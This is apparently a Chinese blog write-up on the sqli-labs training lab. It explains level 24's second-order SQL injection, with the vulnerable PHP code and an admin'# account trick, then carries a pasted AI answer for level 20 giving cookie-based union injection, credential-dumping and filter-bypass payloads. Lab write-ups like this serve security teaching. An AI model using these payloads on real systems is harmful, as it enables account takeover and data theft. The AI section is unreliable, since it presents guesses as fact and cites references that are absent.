sqli第24关二次注入

注入点

# Validating the user input........
	$username= $_SESSION["username"];
	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);
	
	if($pass==$re_pass)
	{	
		$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
		$row = mysql_affected_rows();
		echo '<font size="3" color="#FFFF00">';
		echo '<center>';
		if($row==1)
		{
			echo "Password successfully updated";
	
		}
		else
		{
			header('Location: failed.php');
			//echo 'You tried to be smart, Try harder!!!! :( ';
		}
	}

$username= $_SESSION["username"];

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

对已经注册的用户的username没有转义特殊字符

思路

1,注册一个新用户admin'#虽然转义了,但特殊字符一起写进了数据库

2,用该用户更换密码,你更换的密码就是admin用户的密码 

sql语句变为

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

说以你去更新的是admin的密码

<think>好的,我现在需要处理用户sqli-labs第20手工注入的问题。首先,我得回忆一下第20的具体情况。根据之前的了解,sqli-labs的不同卡设计不同的注入类型,比如GET型、POST型、报错注入、盲注等等。用户提到的是第20,所以需要确认这一注入点在哪里。 根据引用中的信息,比如引用[1]提到手工+sqlmap处理基础注入1-20,而引用[2]提到第24二次注入,引用[3]是于21、22的cookie注入。所以第20可能属于基础注入的一部分,但具体是哪种类型呢? 用户需要的是手工注入的方法,所以可能需要分析这一的输入点,比如POST参数、Cookie或HTTP头中的某个字段。比如引用[4]提到SQL注入的三个条件:参数可控、过滤不彻底、参数带入数据库执行。所以首先要确定第20注入点是否满足这三个条件。 接下来,查看引用中的资料,比如引用[5]提到第12使用双引号加小括号闭合,而第20可能使用不同的闭合方式。用户可能需要构造正确的闭合来注入。 假设第20是基于Cookie的注入,或者POST参数注入。比如引用[3]中第21需要处理Cookie并使用base64编码,但第20可能不同。需要判断注入点在哪里,比如登录后的页面,或者某个请求参数。 手工注入的一般步骤是:确定注入点、判断闭合方式、确定字段数、联合查询获取数据库信息。可能需要使用order by来确定列数,然后union select来获取数据。 另外,考虑是否有错误回显,如果存在报错信息,可以利用报错注入,如updatexml或extractvalue函数。如果无回显,可能需要时间盲注或布尔盲注。 根据引用[1]中提到的update注入,可能第17是update语句的注入,但第20可能不同,需要具体情况具体分析。 可能第20注入点在Cookie中的某个参数,比如uname,类似于引用[3]的情况,但需要构造正确的闭合。例如,如果参数被单引号包围,则需要闭合单引号并添加注入代码。 此外,需要注意过滤的情况,是否有过滤空格、注释符等,可能需要使用替换字符如/**/代替空格,或者使用括号绕过。 总结步骤可能如下: 1. 确定注入点,如Cookie中的uname参数。 2. 判断闭合方式,比如单引号、双引号等。 3. 使用order by确定列数。 4. 联合查询获取数据库名、表名、列名。 5. 提取所需数据,如用户名、密码等。 同时需要引用相的参考资料,如引用[1]、[4]、[5]来支持步骤的正确性,比如闭合方式、注入条件等。 可能遇到的问题包括闭合方式判断错误,或者字段数不匹配导致联合查询失败,这时候需要多次尝试调整。此外,如果存在WAF或过滤机制,需要绕过,比如使用注释符或编码方式。 最终,需要将步骤详细写出,并确保用户能够按照步骤进行手工注入测试。同时,生成相问题,如于其他卡的手工注入技巧、如何绕过过滤、如何利用报错注入等。</think>### sqli-labs第20手工注入方法详解 #### 1. 环境与注入点定位 **卡特性**:第20是基于Cookie的POST类型注入注入参数为`uname`,通过Cookie传递。页面功能为登录后显示用户信息,后台SQL语句可能为: $$SELECT * FROM users WHERE username='$uname' LIMIT 0,1$$[^5] **验证注入点**: - 修改Cookie中的`uname`值为`admin' --+`,若页面正常显示,说明存在单引号闭合的字符型注入[^4]。 --- #### 2. 闭合方式与注入流程 **步骤1:判断闭合方式** - 输入`admin'`触发报错,确认闭合方式为**单引号**。 - 使用注释符`--+`闭合后续语句: ```http Cookie: uname=admin' --+ ``` **步骤2:确定字段数** - 通过`ORDER BY`逐次增加列数测试: ```http Cookie: uname=admin' ORDER BY 3 --+ ``` 当`ORDER BY 4`报错时,字段数为**3**。 **步骤3:联合查询获取数据** - 构造`UNION SELECT`语句,需匹配字段数: ```http Cookie: uname=admin' UNION SELECT 1,2,3 --+ ``` 页面会显示回显位(如`2`和`3`)。 **步骤4:提取数据库信息** - 获取当前数据库名和用户: ```http Cookie: uname=admin' UNION SELECT 1,database(),user() --+ ``` 回显结果示例:`security` / `root@localhost`。 **步骤5:爆破表名与列名** - 查询`security`数据库的表名: ```http Cookie: uname=admin' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+ ``` 结果示例:`emails,referers,uagents,users`。 - 查询`users`表的列名: ```http Cookie: uname=admin' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+ ``` 结果示例:`id,username,password`。 **步骤6:提取敏感数据** - 最终获取用户密码: ```http Cookie: uname=admin' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --+ ``` 输出示例:`admin:admin123`。 --- #### 3. 键绕过技巧 1. **空格过滤**:使用`/**/`代替空格,如`UNION/**/SELECT`。 2. **引号限制**:利用`HEX编码`或`CHAR()`函数,例如`table_name=0x7573657273`(即`users`的HEX值)。 3. **报错注入**(可选): ```http Cookie: uname=admin' AND updatexml(1,concat(0x7e,user()),1) --+ ``` 通过报错信息直接提取数据[^1]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值